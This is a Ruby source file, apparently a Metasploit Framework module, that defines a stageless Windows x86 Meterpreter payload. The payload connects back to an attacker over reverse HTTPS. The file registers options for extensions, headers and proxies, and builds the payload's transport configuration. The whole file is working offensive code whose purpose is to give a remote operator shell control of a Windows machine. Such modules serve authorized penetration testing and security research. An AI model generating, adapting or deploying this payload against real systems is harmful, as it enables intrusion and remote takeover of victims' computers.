## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## module MetasploitModule CachedSize = 176220 include Msf::Payload::TransportConfig include Msf::Payload::Windows include Msf::Payload::Single include Msf::Payload::Windows::MeterpreterLoader include Msf::Sessions::MeterpreterOptions def initialize(info = {}) super(merge_info(info, 'Name' => 'Windows Meterpreter Shell, Reverse HTTPS Inline', 'Description' => 'Connect back to attacker and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.', 'Author' => [ 'OJ Reeves' ], 'License' => MSF_LICENSE, 'Platform' => 'win', 'Arch' => ARCH_X86, 'Handler' => Msf::Handler::ReverseHttps, 'Session' => Msf::Sessions::Meterpreter_x86_Win )) register_options([ OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']), OptString.new('EXTINIT', [false, 'Initialization strings for extensions']) ]) register_advanced_options( Msf::Opt::http_header_options + Msf::Opt::http_proxy_options ) end def generate(opts={}) opts[:stageless] = true stage_meterpreter(opts) + generate_config(opts) end def generate_config(opts={}) opts[:uuid] ||= generate_payload_uuid # create the configuration block config_opts = { arch: opts[:uuid].arch, exitfunk: datastore['EXITFUNC'], expiration: datastore['SessionExpirationTimeout'].to_i, uuid: opts[:uuid], transports: [transport_config_reverse_https(opts)], extensions: (datastore['EXTENSIONS'] || '').split(','), ext_init: (datastore['EXTINIT'] || ''), stageless: true, debug_build: datastore['MeterpreterDebugBuild'], log_path: Msf::OptMeterpreterDebugLogging.parse_logging_options(datastore['MeterpreterDebugLogging'])[:rpath] } # create the configuration instance based off the parameters config = Rex::Payloads::Meterpreter::Config.new(config_opts) # return the binary version of it config.to_b end end